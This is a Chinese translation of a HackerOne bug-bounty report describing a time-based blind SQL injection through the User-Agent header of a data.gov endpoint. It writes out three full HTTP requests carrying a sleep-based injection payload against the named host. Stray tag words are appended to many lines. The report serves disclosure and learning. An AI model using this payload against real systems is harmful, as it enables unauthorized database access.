聲明:本文由Bypass整理並翻譯,僅用於安全研究和學習之用。數據庫
文章來源:https://hackerone.com/reports/297478json
我發現了一個SQL注入漏洞 /dashboard/datagov/csv_to_json
,能夠經過User-Agent HTTP請求頭利用它。安全
我沒有從數據庫中提取任何數據,我已經使用具備算術運算的sleep SQL查詢確認了漏洞。sleep 命令與算術運算結果將致使服務器響應不一樣的延遲時間。服務器
例如,將該值設置 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
到User-Agent
頭部將致使服務器延遲25(5×5)秒。學習
要重現,請發送如下HTTPS請求:spa
GET /dashboard/datagov/csv_to_json HTTP/1.1 Referer: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR' X-Forwarded-For: 1 X-Requested-With: XMLHttpRequest Host: labs.data.gov Connection: Keep-alive Accept-Encoding: gzip,deflate Accept: */*
服務器將在25(5 * 5)秒後響應- 與User-Agent:請求頭
的值相同。翻譯
如今,讓咱們讓服務器當即響應。咱們將發送等於0的值sleep(5 * 5 * 0)。code
GET /dashboard/datagov/csv_to_json HTTP/1.1 Referer: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5*0),0))OR' X-Forwarded-For: 1 X-Requested-With: XMLHttpRequest Host: labs.data.gov Connection: Keep-alive Accept-Encoding: gzip,deflate Accept: */*
服務器當即響應爲5 * 5 * 0 = 0。blog
讓咱們用另外一個請求確認:ip
GET /dashboard/datagov/csv_to_json HTTP/1.1 Referer: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(6*6-30),0))OR' X-Forwarded-For: 1 X-Requested-With: XMLHttpRequest Host: labs.data.gov Connection: Keep-alive Accept-Encoding: gzip,deflate Accept: */*
此次有效載荷包含6 * 6-30,等於6。服務器在6秒後響應。
這些只是我嘗試確認此問題的各類算術運算的一些SQL查詢。
攻擊者能夠操縱發送到MySQL數據庫的SQL語句並注入惡意SQL語句。攻擊者可以更改針對數據庫執行的SQL語句的邏輯。